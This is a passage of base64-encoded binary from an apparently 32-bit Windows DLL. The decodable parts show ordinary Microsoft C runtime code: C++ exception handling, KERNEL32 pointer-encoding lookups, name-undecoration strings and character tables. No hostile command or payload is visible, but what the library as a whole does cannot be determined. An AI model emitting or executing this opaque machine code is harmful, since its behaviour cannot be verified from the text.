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lIENsYXNzIEFycmF5JwAAIEJhc2UgQ2xhc3MgRGVzY3JpcHRvciBhdCAoACBUeXBlIERlc2NyaXB0b3InAAAAYGxvY2FsIHN0YXRpYyB0aHJlYWQgZ3VhcmQnAGBtYW5hZ2VkIHZlY3RvciBjb3B5IGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAYHZlY3RvciB2YmFzZSBjb3B5IGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAABgdmVjdG9yIGNvcHkgY29uc3RydWN0b3IgaXRlcmF0b3InAABgZHluYW1pYyBhdGV4aXQgZGVzdHJ1Y3RvciBmb3IgJwAAAABgZHluYW1pYyBpbml0aWFsaXplciBmb3IgJwAAYGVoIHZlY3RvciB2YmFzZSBjb3B5IGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwBgZWggdmVjdG9yIGNvcHkgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAYG1hbmFnZWQgdmVjdG9yIGRlc3RydWN0b3IgaXRlcmF0b3InAAAAAGBtYW5hZ2VkIHZlY3RvciBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAABgcGxhY2VtZW50IGRlbGV0ZVtdIGNsb3N1cmUnAAAAAGBwbGFjZW1lbnQgZGVsZXRlIGNsb3N1cmUnAABgb21uaSBjYWxsc2lnJwAAIGRlbGV0ZVtdAAAAIG5ld1tdAABgbG9jYWwgdmZ0YWJsZSBjb25zdHJ1Y3RvciBjbG9zdXJlJwBgbG9jYWwgdmZ0YWJsZScAYFJUVEkAAABgRUgAYHVkdCByZXR1cm5pbmcnAGBjb3B5IGNvbnN0cnVjdG9yIGNsb3N1cmUnAABgZWggdmVjdG9yIHZiYXNlIGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAYGVoIHZlY3RvciBkZXN0cnVjdG9yIGl0ZXJhdG9yJwBgZWggdmVjdG9yIGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAABgdmlydHVhbCBkaXNwbGFjZW1lbnQgbWFwJwAAYHZlY3RvciB2YmFzZSBjb25zdHJ1Y3RvciBpdGVyYXRvcicAYHZlY3RvciBkZXN0cnVjdG9yIGl0ZXJhdG9yJwAAAABgdmVjdG9yIGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAGBzY2FsYXIgZGVsZXRpbmcgZGVzdHJ1Y3RvcicAAAAAYGRlZmF1bHQgY29uc3RydWN0b3IgY2xvc3VyZScAAABgdmVjdG9yIGRlbGV0aW5nIGRlc3RydWN0b3InAAAAAGB2YmFzZSBkZXN0cnVjdG9yJwAAYHN0cmluZycAAAAAYGxvY2FsIHN0YXRpYyBndWFyZCcAAAAAYHR5cGVvZicAAAAAYHZjYWxsJwBgdmJ0YWJsZScAAABgdmZ0YWJsZScAAABePQAAfD0AACY9AAA8PD0APj49ACU9AAAvPQAALT0AACs9AAAqPQAAfHwAACYmAAB8AAAAXgAAAH4AAAAoKQAALAAAAD49AAA+AAAAPD0AADwAAAAlAAAALwAAAC0+KgAmAAAAKwAAAC0AAAAtLQAAKysAACoAAAAtPgAAb3BlcmF0b3IAAAAAW10AACE9AAA9PQAAIQAAADw8AAA+PgAAIGRlbGV0ZQAgbmV3AAAAAF9fdW5hbGlnbmVkAF9fcmVzdHJpY3QAAF9fcHRyNjQAX19jbHJjYWxsAAAAX19mYXN0Y2FsbAAAX190aGlzY2FsbAAAX19zdGRjYWxsAAAAX19wYXNjYWwAAAAAX19jZGVjbABfX2Jhc2VkKAAAAAA8CQEQNAkBECgJARAcCQEQEAkBEAQJARD4CAEQ8AgBEOQIARDYCAEQogIBEBwEARAABAEQ7AMBEMwDARCwAwEQ0AgBEMgIARCgAgEQxAgBEMAIARC8CAEQuAgBELQIARCwCAEQpAgBEKAIARCcCAEQmAgBEJQIARCQCAEQjAgBEIgIARCECAEQgAgBEHwIARB4CAEQdAgBEHAIARBsCAEQaAgBEGQIARBgCAEQXAgBEFgIARBUCAEQUAgBEEwIARBICAEQRAgBEEAIARA8CAEQOAgBEDQIARAwCAEQLAgBECgIARAcCAEQEAgBEAgIARD8BwEQ5AcBENgHARDEBwEQpAcBEIQHARBkBwEQRAcBECQHARAABwEQ5AYBEMAGARCgBgEQeAYBEFwGARBMBgEQSAYBEEAGARAwBgEQDAYBEAQGARD4BQEQ6AUBEMwFARCsBQEQhAUBEFwFARA0BQEQCAUBEOwEARDIBAEQpAQBEHgEARBMBAEQMAQBEKICARAuLi4AZC4BEIefABB6nwAQVW5rbm93biBleGNlcHRpb24AAABjc23gAQAAAAAAAAAAAAAAAwAAACAFkxkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAgACAAIAAgACAAIAAgACAAKAAoACgAKAAoACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEgAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAhACEAIQAhACEAIQAhACEAIQAhAAQABAAEAAQABAAEAAQAIEAgQCBAIEAgQCBAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQAQABAAEAAQABAAEACCAIIAggCCAIIAggACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAEAAQABAAEAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAIAAgACAAIAAgACAAIAAgAGgAKAAoACgAKAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABIABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQAIQAhACEAIQAhACEAIQAhACEAIQAEAAQABAAEAAQABAAEACBAYEBgQGBAYEBgQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBEAAQABAAEAAQABAAggGCAYIBggGCAYIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECARAAEAAQABAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAASAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAFAAUABAAEAAQABAAEAAUABAAEAAQABAAEAAQAAEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEQAAEBAQEBAQEBAQEBAQEBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBEAACAQIBAgECAQIBAgECAQIBAQEAAAAAgIGCg4SFhoeIiYqLjI2Oj5CRkpOUlZaXmJmam5ydnp+goaKjpKWmp6ipqqusra6vsLGys7S1tre4ubq7vL2+v8DBwsPExcbHyMnKy8zNzs/Q0dLT1NXW19jZ2tvc3d7f4OHi4+Tl5ufo6err7O3u7/Dx8vP09fb3+Pn6+/z9/v8AAQIDBAUGBwgJCgsMDQ4PEBESExQVFhcYGRobHB0eHyAhIiMkJSYnKCkqKywtLi8wMTIzNDU2Nzg5Ojs8PT4/QGFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6W1xdXl9gYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXp7fH1+f4CBgoOEhYaHiImKi4yNjo+QkZKTlJWWl5iZmpucnZ6foKGio6SlpqeoqaqrrK2ur7CxsrO0tba3uLm6u7y9vr/AwcLDxMXGx8jJysvMzc7P0NHS09TV1tfY2drb3N3e3+Dh4uPk5ebn6Onq6+zt7u/w8fLz9PX29/j5+vv8/f7/gIGCg4SFhoeIiYqLjI2Oj5CRkpOUlZaXmJmam5ydnp+goaKjpKWmp6ipqqusra6vsLGys7S1tre4ubq7vL2+v8DBwsPExcbHyMnKy8zNzs/Q0dLT1NXW19jZ2tvc3d7f4OHi4+Tl5ufo6err7O3u7/Dx8vP09fb3+Pn6+/z9/v8AAQIDBAUGBwgJCgsMDQ4PEBESExQVFhcYGRobHB0eHyAhIiMkJSYnKCkqKywtLi8wMTIzNDU2Nzg5Ojs8PT4/QEFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaW1xdXl9gQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVp7fH1+f4CBgoOEhYaHiIm